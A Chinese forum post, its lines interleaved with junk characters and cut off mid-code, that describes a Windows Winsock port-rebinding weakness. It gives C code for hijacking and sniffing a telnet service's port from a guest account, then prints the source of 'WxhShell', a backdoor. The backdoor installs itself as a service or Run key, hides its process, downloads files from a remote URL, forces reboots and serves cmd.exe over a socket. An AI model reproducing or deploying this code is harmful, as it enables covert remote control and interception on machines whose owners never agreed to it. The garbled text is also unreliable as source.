在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
wh%xkXa[ur s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
H( vx/q }3Qc 24` saddr.sin_family = AF_INET;
jgG$'|s} vv+km + saddr.sin_addr.s_addr = htonl(INADDR_ANY);
(~JwLe@a !NTH.U:g bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
58: :h.: +~N!9eMc 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
S#tY@h@XV zVw:7- 这意味着什么?意味着可以进行如下的攻击:
xYPxg! >%u@R3PH] 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
e?b)p5g $E\^v^LW 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
}AlYNEY kO1}?dWpa 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
M%I@<~wl TN\|fzj 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
)qv2)a!H d`mD!)j 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
@ &pqt6/t A|L'ih/ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
]W/>Ldv !J3UqS 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
d1c0l{JV3
<.bRf #include
0OnV0SIL #include
:Wc_Utt #include
Be2lMC #include
d$G}iJ8$mp DWORD WINAPI ClientThread(LPVOID lpParam);
BRzfic:e int main()
^AL2H' {
WF[bO7: WORD wVersionRequested;
#$E)b:xj DWORD ret;
B$XwTJ> WSADATA wsaData;
0
ipN8Pg+ BOOL val;
.UQE{.? SOCKADDR_IN saddr;
JeCg|@ SOCKADDR_IN scaddr;
sI LSey5` int err;
*2e!M^K< SOCKET s;
l1'6cLT` SOCKET sc;
x`%JI=q int caddsize;
D+RiM~LH8 HANDLE mt;
~Lz%.a;o DWORD tid;
\)/yC74r7( wVersionRequested = MAKEWORD( 2, 2 );
+?dl`!rE err = WSAStartup( wVersionRequested, &wsaData );
Pw[g if ( err != 0 ) {
2oCkG~j printf("error!WSAStartup failed!\n");
*F`A S> return -1;
f-SuM% S_ }
_S`o1^Ad saddr.sin_family = AF_INET;
yN6>VD{F ])}]/Qw //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Ig6T g ? eOI (6U! saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
V[nQQxWp= saddr.sin_port = htons(23);
)]htm&q5 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
&(N+.T5cp {
oCS2E =O& printf("error!socket failed!\n");
6#@ f'~s return -1;
>znRyQ~bM }
r^,<(pbd val = TRUE;
>>{FzR //SO_REUSEADDR选项就是可以实现端口重绑定的
tmUFT if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
w= P9FxB {
6CbxuzYer printf("error!setsockopt failed!\n");
C3NdE_E return -1;
wU\s;
dK }
y|wlq3o //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
cWyW~Ek //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Z|"p*5O, //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
:GpDg f"1>bW>R+ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
ma'FRt {
qMt++*Ls ret=GetLastError();
PjA6Ji;Hu printf("error!bind failed!\n");
9d[5{"2j return -1;
' Z0r>. }
l 'DsZ9y@2 listen(s,2);
\^7C0R-hX while(1)
UhA"nt0 {
Bw%Qbs0Q caddsize = sizeof(scaddr);
'R`tLN //接受连接请求
\.YS%"Vz sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
1$qh`<\ if(sc!=INVALID_SOCKET)
a<}#HfC;' {
h.O$]:N mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Mi'8
~J if(mt==NULL)
< -W*$?^ {
uM_wjP printf("Thread Creat Failed!\n");
h4T5+~rw break;
6\g cFfo }
wk5s)%V }
\1D<!k\S CloseHandle(mt);
E2R&[Q"% }
H9YW closesocket(s);
Vex{.Vh," WSACleanup();
'"SEw
w return 0;
j+$rj }
TJK[ev};S DWORD WINAPI ClientThread(LPVOID lpParam)
L ~lxXTG\ {
/|C* SOCKET ss = (SOCKET)lpParam;
(nf~x SOCKET sc;
0i!uUF unsigned char buf[4096];
&$`P,i 1) SOCKADDR_IN saddr;
xhVO3LW' long num;
QdF5Cwf4 DWORD val;
ZX9T YN DWORD ret;
<>y;.@}Q //如果是隐藏端口应用的话,可以在此处加一些判断
6dabU* //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
K|zZS%?$ saddr.sin_family = AF_INET;
;z}i-cNae saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
,)Me saddr.sin_port = htons(23);
)dbB=OZ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_(%d(E2? {
q&s3wDl/ printf("error!socket failed!\n");
oHd FMD@ return -1;
We$:&K0 }
n.!#P| val = 100;
>s>1[W @* if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
?Y-%'J( {
($au:'kU
ret = GetLastError();
,J,/."Y return -1;
e6@=wnoX u }
LClNxm2X if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
4>F'oqFF {
0^I|ut4 ret = GetLastError();
Aw$x;3y return -1;
j9eTCJqB }
XG{{ 2f if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
dgR
g>)V {
Xe6w| printf("error!socket connect failed!\n");
ZZ2vvtlyG closesocket(sc);
)97SnCkal closesocket(ss);
R.jIl@p return -1;
k;K)xb[w | }
^o^H3m while(1)
%<k2#6K {
H$=e
-L`@ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
h1B? 8pD //如果是嗅探内容的话,可以再此处进行内容分析和记录
O@u?h9?cf> //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
zL$@`Eh-KP num = recv(ss,buf,4096,0);
LPZF)@|` if(num>0)
nygbt<;? send(sc,buf,num,0);
"'c
A2~ else if(num==0)
q$I;dOCJ, break;
K(q+
" num = recv(sc,buf,4096,0);
10)jsA if(num>0)
`|6'9 send(ss,buf,num,0);
!nqUBa else if(num==0)
`IP/d break;
$+P>~X) }
S|SV$_
( closesocket(ss);
S{]x closesocket(sc);
AJh w return 0 ;
ockTe5U }
9!6f-K pOGeruu? ?3nR ==========================================================
\]</w5 Pi, 0t Fkd 下边附上一个代码,,WXhSHELL
!k6K?xt r"C ==========================================================
(zgW%{V@ -K
q5i #include "stdafx.h"
w$+&3t D ~stM #include <stdio.h>
3 jGWkby0 #include <string.h>
E0Y-7&Fv #include <windows.h>
D>HOn^ #include <winsock2.h>
hWM<
0= #include <winsvc.h>
y`\@N"Cf #include <urlmon.h>
\SN&G`o< =:&ly'QB& #pragma comment (lib, "Ws2_32.lib")
lt
^GvWg #pragma comment (lib, "urlmon.lib")
5 xppKt )[PtaPWeT #define MAX_USER 100 // 最大客户端连接数
;1:Js0=;H #define BUF_SOCK 200 // sock buffer
F<L
EQ7T
#define KEY_BUFF 255 // 输入 buffer
v9:9E|,U+ f({Ei`| #define REBOOT 0 // 重启
)Hpa}FGT #define SHUTDOWN 1 // 关机
^Y@\1fX 4e gG]Eeu+z
#define DEF_PORT 5000 // 监听端口
8 7BHq) )we}6sE" #define REG_LEN 16 // 注册表键长度
v{(^1cX #define SVC_LEN 80 // NT服务名长度
;*Ivn@L GO__$%~ // 从dll定义API
\!k1a^ZP typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
4(|cG7>9- typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
q?4p)@# typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
YpH&<$x: typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
e4!:c^? e8pG"`wM8 // wxhshell配置信息
~Lm$i6E< struct WSCFG {
m;'6MHx; int ws_port; // 监听端口
vr6MU< char ws_passstr[REG_LEN]; // 口令
ZZHDp&lh} int ws_autoins; // 安装标记, 1=yes 0=no
*:Vq:IU[D char ws_regname[REG_LEN]; // 注册表键名
KVn []@# char ws_svcname[REG_LEN]; // 服务名
YL]Z<%aKt char ws_svcdisp[SVC_LEN]; // 服务显示名
`8AR_7i char ws_svcdesc[SVC_LEN]; // 服务描述信息
d/[;
`ZD+ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
yf[~Yl>Ogw int ws_downexe; // 下载执行标记, 1=yes 0=no
\#Pfj&* char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
F
P* lQRA char ws_filenam[SVC_LEN]; // 下载后保存的文件名
H@q?v+2 h| ,:e;>} };
8,C*4y~ ;_rF;9z9 // default Wxhshell configuration
.NYbi@bk(< struct WSCFG wscfg={DEF_PORT,
7]blrN] "xuhuanlingzhe",
*=(lyx_O 1,
=<?+#-;p "Wxhshell",
SKkUU^\#R` "Wxhshell",
y%%}k "WxhShell Service",
gj*+\3KO@a "Wrsky Windows CmdShell Service",
Q36qIq_0e "Please Input Your Password: ",
gP0LCK> 1,
%= fHu+ "
http://www.wrsky.com/wxhshell.exe",
"Y~:|?(@- "Wxhshell.exe"
@GdbTd };
ioYGZ%RG# `< xn8h9p // 消息定义模块
v^d]~!h char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
>pp5;h8! char *msg_ws_prompt="\n\r? for help\n\r#>";
>`A9[`$n char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
3'cE\u char *msg_ws_ext="\n\rExit.";
i*/Yz*< char *msg_ws_end="\n\rQuit.";
]x(e&fyHB char *msg_ws_boot="\n\rReboot...";
^(f"v
e#7v char *msg_ws_poff="\n\rShutdown...";
#~C]ZrK char *msg_ws_down="\n\rSave to ";
'}B+r@YCN u>kN1k Q8 char *msg_ws_err="\n\rErr!";
56zL"TF` char *msg_ws_ok="\n\rOK!";
gG*X^Uo 8 ~J(](QA char ExeFile[MAX_PATH];
C71qPb|$R int nUser = 0;
SYCEQ5
- HANDLE handles[MAX_USER];
Xq_5Qv int OsIsNt;
5|o6v1bM BJM.iXU)[ SERVICE_STATUS serviceStatus;
'8!YD?n SERVICE_STATUS_HANDLE hServiceStatusHandle;
aMWmLpv4' ew#B[[ // 函数声明
kEOS{C%6R int Install(void);
BK)$'AqO int Uninstall(void);
Sjvdirr int DownloadFile(char *sURL, SOCKET wsh);
}<@b=_>S int Boot(int flag);
jL%x7?*U0 void HideProc(void);
`6lr4Kk @R int GetOsVer(void);
++6`sMJ int Wxhshell(SOCKET wsl);
em,u(#)& void TalkWithClient(void *cs);
fmU { int CmdShell(SOCKET sock);
RL!Oi|8 int StartFromService(void);
}>>1<P<8- int StartWxhshell(LPSTR lpCmdLine);
3EJj9}#x"' "W6uV! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
O_`VV* VOID WINAPI NTServiceHandler( DWORD fdwControl );
\k .{-nh K"|l@Q[ // 数据结构和表定义
eD,.~Y#?= SERVICE_TABLE_ENTRY DispatchTable[] =
wPQH(~k: {
uatm/o^~, {wscfg.ws_svcname, NTServiceMain},
u+Y\6~=+ {NULL, NULL}
] eotc2?u };
s'!Cp=xQF" BmbyH{4 // 自我安装
@$ne{2J3 int Install(void)
wxKX{Bs {
arIf'CG6 char svExeFile[MAX_PATH];
`, OG7hg HKEY key;
cz
>V8 strcpy(svExeFile,ExeFile);
"|EM;o Sdp&jZY // 如果是win9x系统,修改注册表设为自启动
m8A#~i . if(!OsIsNt) {
&v56#lG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
?9!6%]2D RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Si_ _8D RegCloseKey(key);
uZNTHD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
zBCtd1Xrni RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
GZEc l'h* RegCloseKey(key);
SWH2 return 0;
}q_<_lQ }
f86XkECZ;` }
6Y^23W F }
_GV:HOBi else {
xcd#& bWH&P/> // 如果是NT以上系统,安装为系统服务
Z_$%. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
QA<
Rhv, if (schSCManager!=0)
{+] [5<q {
o*-)Tq8GHE SC_HANDLE schService = CreateService
h?AS{`.1 (
=i$Fl{vH schSCManager,
=b%MXT wscfg.ws_svcname,
ZT'`hK_up wscfg.ws_svcdisp,
Q8T]\6)m SERVICE_ALL_ACCESS,
xe]y] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
y`VyQWW SERVICE_AUTO_START,
YJ^]
u} SERVICE_ERROR_NORMAL,
{ME2ImD svExeFile,
m!gz3u]rN NULL,
fFMlDg[]; NULL,
o15-ZzE- NULL,
N,`$M.|? NULL,
&T+atL `N NULL
Pj[PIz );
$3W;=Id=+ if (schService!=0)
p2Z?T}fa}& {
<C_jF CloseServiceHandle(schService);
%oF}HF. CloseServiceHandle(schSCManager);
Sj-n;F|=X strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
"LHcB]^< strcat(svExeFile,wscfg.ws_svcname);
HD@$t)mn if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
b[sx_b RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Bgn&:T8< RegCloseKey(key);
++bf#qS<8D return 0;
\<&m&%Zs }
AhCW'. }
10G}{ CloseServiceHandle(schSCManager);
0m7Y>0wC6T }
OPetj.C/a }
bH-ub2@qO )mI 05 return 1;
mH54ja2 }
}wWKFX -<c=US // 自我卸载
0v6)t.]s int Uninstall(void)
8&;UO{ {
HpR]q05d HKEY key;
efSM`!%j kJWn<5%ayg if(!OsIsNt) {
O1rvaOlr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
9TU88] RegDeleteValue(key,wscfg.ws_regname);
eiuSvyY RegCloseKey(key);
LZ\q37UV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
2{M^,=^> RegDeleteValue(key,wscfg.ws_regname);
062,L~&E RegCloseKey(key);
7.-V-?i return 0;
cO-7ke }
[M?}uK ^ }
KMt`XaC9e }
<i<J^-W else {
F^l[GdUosK i}b${no SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
!y#"l$"xK if (schSCManager!=0)
SEORSS {
~)*,S^k(C. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
vrl;"Fm+ if (schService!=0)
s|@6S8E {
qsL)}sC^8 if(DeleteService(schService)!=0) {
5Y?L>QU" CloseServiceHandle(schService);
wWgWWXGT} CloseServiceHandle(schSCManager);
r)qnl9?;`] return 0;
R= a|Blp }
k[0-CB CloseServiceHandle(schService);
<CRP^_c }
P<oehw'> CloseServiceHandle(schSCManager);
}p=Jm)y }
YgKZ#?* }
[vge56h R{RwTN< return 1;
r[1i*b$ }
]d55m /( JROM_>mC // 从指定url下载文件
+
r!1<AAE$ int DownloadFile(char *sURL, SOCKET wsh)
2<li7c59 {
XttqOf HRESULT hr;
Z,`iO%W char seps[]= "/";
.#wqXRd char *token;
L Y6;.d$J char *file;
ag$Vgl char myURL[MAX_PATH];
Z:ni$7<. char myFILE[MAX_PATH];
rJFc({ 0
Pa(^}n| strcpy(myURL,sURL);
]'5;|xc9$/ token=strtok(myURL,seps);
(E/lIou while(token!=NULL)
9Kg21-? {
rX*H)3F file=token;
CQZgMY1{ token=strtok(NULL,seps);
J~%K_~Li }
]DZE% /V=24\1Ky GetCurrentDirectory(MAX_PATH,myFILE);
lJ+0P2@h* strcat(myFILE, "\\");
ng:kA%!
Q strcat(myFILE, file);
VmCW6
G#M send(wsh,myFILE,strlen(myFILE),0);
c<uN"/gi* send(wsh,"...",3,0);
Q
s.pGi0W hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
,B08i
o- if(hr==S_OK)
f}Np/ return 0;
Wqc)Fv70m else
#BJG9DFP4` return 1;
!E,A7s ?gJOgsHJP }
bfA=3S"0 4VHqBQ4
// 系统电源模块
S5KEXnjm int Boot(int flag)
o HMo>*? {
*4U^0e HANDLE hToken;
z ?[r TOKEN_PRIVILEGES tkp;
e?`5>& Up 3l[McZ if(OsIsNt) {
bKj%s@x OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
;l&4V LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
5~Cakd]> tkp.PrivilegeCount = 1;
\ {qI4= tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Na$Is'F&p AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
u)3 $~m~ if(flag==REBOOT) {
@o#!EfZyE if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
&j?#3Qt'_ return 0;
IP``O!WP }
:@1eph0 else {
`6 /$M!4$ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
!:|TdYrmj return 0;
QU%I43 }
&LF`
W }
$={:r/R`i else {
SrFS# if(flag==REBOOT) {
%|^OOU} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
2-=\~<) return 0;
)uK{uYQl }
$ e\h}A6 else {
|}{B1A if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
D?C)BcN return 0;
Z|_K6v/c }
@HRC\OG }
Zm"{V iv] TMs,j!w?I return 1;
{K4+6p }
@%tRhG U\veOQ;mW // win9x进程隐藏模块
ZA Jp% void HideProc(void)
JJltPGT~Oa {
vKq^D(&cl "6R
5+ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
V?P,&c?84 if ( hKernel != NULL )
[/ !;_b\X {
r'dr9"-{ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Nru7(ag1~ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
zaFt*~@X FreeLibrary(hKernel);
#'-Sh7ycW }
Mmo6MZ^ ^ K7ic,{ return;
oEx\j+}@n }
_bzqd"
31I `%E8-]{uS // 获取操作系统版本
4B4Z])$3 int GetOsVer(void)
(x"BR {
4-kZJ\] OSVERSIONINFO winfo;
i.xXb[M+ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
7}GK%H-u GetVersionEx(&winfo);
"+z?x~rk if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Tx1vL return 1;
Ul_M3"Z else
OdQT2PA_ return 0;
!" JfOu }
zVi15P$ osOVg0Gyj // 客户端句柄模块
OFGsjYLw int Wxhshell(SOCKET wsl)
a8dXH5_ {
65oWD- SOCKET wsh;
Wxkx,q? struct sockaddr_in client;
\XF}?*8 DWORD myID;
K.%U -UZ@G~K while(nUser<MAX_USER)
kF{*(r=.o {
)-Ej5'iHr int nSize=sizeof(client);
'JdkUhq1V wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
YC=S5; if(wsh==INVALID_SOCKET) return 1;
xq%{} B/J>9||g handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
nx:KoB"ny if(handles[nUser]==0)
6 CC &Z> closesocket(wsh);
4Hb $0l else
=39 ?:VoD nUser++;
[EY`am8[ }
KtB!"yy# WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
2b=)6H1 #5&jt@NS return 0;
spQLG_o,J }
{kLGWbo|Q [pg}S#A // 关闭 socket
]DvO:tM void CloseIt(SOCKET wsh)
~=&t 0D {
T;\^#1 closesocket(wsh);
?/M_~e.P nUser--;
tfkr+
/ ExitThread(0);
z[#Fog }
2X88: 'R9g7,53R // 客户端请求句柄
bm}6{28R void TalkWithClient(void *cs)
q
(+ZwaV@ {
aF8k/$u PzZZ>7_6S SOCKET wsh=(SOCKET)cs;
sk2% char pwd[SVC_LEN];
yg;_.4TpIO char cmd[KEY_BUFF];
^1jk$$f char chr[1];
2.Yi(r int i,j;
J?n<ydZSH va|rO#.= while (nUser < MAX_USER) {
~V)?>)T kw,$NK' if(wscfg.ws_passstr) {
JmOW~W if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
uH\kQ9f //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
%do1i W //ZeroMemory(pwd,KEY_BUFF);
|@j_2Q, i=0;
ad n|N while(i<SVC_LEN) {
$v}<' )%Y
IGV;& // 设置超时
T5{T[YdX< fd_set FdRead;
JTkCk~bX[z struct timeval TimeOut;
|#:=\gugh FD_ZERO(&FdRead);
afV
P-m4L FD_SET(wsh,&FdRead);
v?%0~! TimeOut.tv_sec=8;
$ #t|(\ TimeOut.tv_usec=0;
t0I>5#*WU int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
kYmo7 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
O'@m4@L t{[gKV-b if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
^,~N7` pwd
=chr[0]; >9(7h&[Y
if(chr[0]==0xd || chr[0]==0xa) { n8
GF8a
pwd=0; T&mbXMN
break; T^+1rG
} ja L$LJV
i++; s&Z35IM8|
} HgS<Vxmq
./';P<)
// 如果是非法用户,关闭 socket tru;;.lj8K
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LAizx^F
} D l4d'&!
XX*'N+
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V^9$t/c&
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HDa~7wE
g"TPII$
while(1) { Dl>*L
],H1
ZeroMemory(cmd,KEY_BUFF); 0~(\lkh*!9
&e/@yu)x,
// 自动支持客户端 telnet标准 l7!U),x%/U
j=0; ]u\ `
while(j<KEY_BUFF) { m]{<Ux
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XhQw+j~1.
cmd[j]=chr[0]; v@F|O8t:s
if(chr[0]==0xa || chr[0]==0xd) { }C_G0'"F
cmd[j]=0; / c4;3>IS
break; ./7&_9|<
} h9tB''ePE
j++; CpUI|Rs
} 4.,KEt'H
</K%i;l
// 下载文件 .Z(S4wV
if(strstr(cmd,"http://")) { z Y$X|=f
send(wsh,msg_ws_down,strlen(msg_ws_down),0); [Ihp\!xqI
if(DownloadFile(cmd,wsh)) Vy?R/
Uu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fcgDU *A%
else d ,h~u{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d~togTs1
} g:G%Ei~sF
else { x.0k%H
[HC8-N^.}
switch(cmd[0]) { $|`t9-EA/
: ;E7+m
// 帮助 1qB!RIau
case '?': { o(Ua",|
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]Ssw32yn
break; PK:o}IWn~x
} %a)0?U
// 安装 8o8b'tW^
case 'i': { zIAu3
if(Install()) l|R<F;|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wW6mYgPN%
else vp )}/&/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /pAm8vK
break; E3FW*UNg[y
} $_URXI
// 卸载 @
(u?=x;
case 'r': { evg 7d
if(Uninstall()) syC"eH3{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); " ;R3260
else %oCjZ"ke
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :{xN33@6\X
break; J2rLsNC]0
} 6Vzc:8o>
// 显示 wxhshell 所在路径 >~>[}d;glw
case 'p': { a8aqcDs>O
char svExeFile[MAX_PATH]; 4O^1gw
strcpy(svExeFile,"\n\r"); ?EAqv]
strcat(svExeFile,ExeFile); iH0c1}<k$
send(wsh,svExeFile,strlen(svExeFile),0); #Ey!?Z
break; oc>,5 x
} 7+@:wX\
// 重启 D8qZh1w%A|
case 'b': { m^% [
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J]^)vxm3
if(Boot(REBOOT)) DBI[OG9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); sk.<|-(o
else { ^|M\vO
closesocket(wsh); >DeG//rv
ExitThread(0); 5RCZv\Wd&
} GjlA\R^e
break; ~<b/%l>h1
} )X*?M?~\
// 关机 D5]4(]k&
case 'd': { oK3uGPi
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O6rrv,+_L
if(Boot(SHUTDOWN)) `x;8,7W;B
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @NBWNgBv
else { 8WWRKP1V
closesocket(wsh); ,oDZ:";
ExitThread(0); B&<Z#C:I
} &~uzu{
break; Ue~M.LZb
} ?2DYz"/')
// 获取shell OSsdB%bIu`
case 's': { opdi5e)jK
CmdShell(wsh); U%U%a,rA5s
closesocket(wsh); Pm
V:J9
ExitThread(0); K]Ed-Tz8QZ
break; e|xRK?aVBu
} H?^Poe(=(
// 退出 XCQ=`3f
case 'x': { F8/4PB8-
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); # l}Y1^PDd
CloseIt(wsh); )*$'e<?`
break; r!j_KiUy
} o3j4XrK
// 离开 bi[vs|
case 'q': { IQY\L@"
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 62a{Ggs{
closesocket(wsh); #L[Atx
WSACleanup(); O`Nzn~),x
exit(1); O z]iHe
break; +qDudGI
} W
4~a`D7
} -hyY5!rD
} I@7^H48\
n1!0KOu/N
// 提示信息 -=QA{n
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U
$e-e/
} qeHb0G
} ?neXs-'-p
~ex1,J*}t
return; *8t_$<'dQ
} $x#Y\dpS
W=%}~7*
// shell模块句柄 Z^>{bW
int CmdShell(SOCKET sock) .G4(Ryh
{ *Xn{{
STARTUPINFO si; N'=8Dj
ZeroMemory(&si,sizeof(si)); #-Ehg4W
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N>xs@_"o
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %F]4)XeW-+
PROCESS_INFORMATION ProcessInfo; Y Dq5%N`
char cmdline[]="cmd"; IBo)fE\O
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dzKI?i)x
return 0; -5\hZ!!J2
} Zu,rf9LMj
}L'BzSU@G
// 自身启动模式 D/5 ah_;
int StartFromService(void) _2R;@[f2
{ U4w^eWzP
typedef struct \U\ W Q
{ {D={>0
DWORD ExitStatus; ~Uz,%zU#3
DWORD PebBaseAddress; Lf4c[[@%gd
DWORD AffinityMask; :&S6AP
DWORD BasePriority; [u`v'*0d
